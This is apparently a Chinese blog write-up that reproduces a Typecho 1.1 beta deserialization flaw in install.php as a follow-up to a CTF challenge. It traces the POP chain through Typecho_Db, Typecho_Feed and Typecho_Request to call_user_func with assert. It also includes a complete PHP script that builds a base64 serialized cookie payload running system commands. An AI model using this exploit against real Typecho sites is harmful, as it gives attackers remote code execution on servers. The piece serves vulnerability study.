之前在MRCTF还是WUST上有个typecho的反序列化来着。只做到了SSRF。现在来复现下
漏洞源码:
https://codeload.github.com/typecho/typecho/zip/v1.1-15.5.12-beta
环境搭建就不多说了。。
已知漏洞点在install.php
开头有两个判断。不满足就会退出。
需要GET一个finish并且带上相同IP的Referer
接下来看反序列化点
有了反序列化点。就看POP链了
下面有一行
$db = new Typecho_Db($config['adapter'], $config['prefix']);
new了一个Typecho_Db类。进去看看
可以触发__toString。。搜一下
继续搜__get魔术方法
跟进函数
跟着思路写exp:
<?php
class Typecho_Request
{
private $_filter=array("assert");
private $_params=["screenName"=>"eval('system(\'dir\');exit();')"];
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct()
{
$this->_items=array(array("author"=>new Typecho_Request()));
}
}
$config=array("adapter"=>new Typecho_Feed(),"prefix"=>'123');
echo base64_encode(serialize($config));
?>
这里我们分析下运行流程。首先我们反序列化。将每个类有用的值都改掉
然后原代码继续执行。new Typecho_Db类。它析构函数的两个值。分别是我们反序列化的adapter和prefix
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$db = new Typecho_Db($config['adapter'], $config['prefix']);
所以我们得构造array("adapter"=>一个类,prefix=>随便填)
继续进入db类。字符串拼接
我们得把adapter对应的值改为Typecho_Feed类
就构造成了array("adapter"=>new Typecho_Feed(),"prefix"=>随便填)
然后进入Typecho_Feed类。触发tostring。有个判断
所以。这类Typecho_Feed类的_type是RSS 2.0
继续执行。触发__get魔术方法
取$this->items['author']
中screenName键对应的值
注意。$this->items
是个数组。我们取得是items数组中的数组中的author。。。。说白了就是取二维数组中的author值
所以。这里将$this->items
设置为array(array('author'=> new Typecho_Request()))
触发get魔术方法。进入Typecho_Request类
public function get($key,$default=NULL)
这里就变成了get('screenName')
下面会执行
$value = $this->_params[$key];
相当于$value=$this->_params['screenName']
然后执行call_user_func($this->_filter, $value);
所以此处构造
class Typecho_Request
{
private $_params = array('screenName'=>'eval(\'phpinfo();\')');
private $_filter = array('assert');
}
至此漏洞复现成功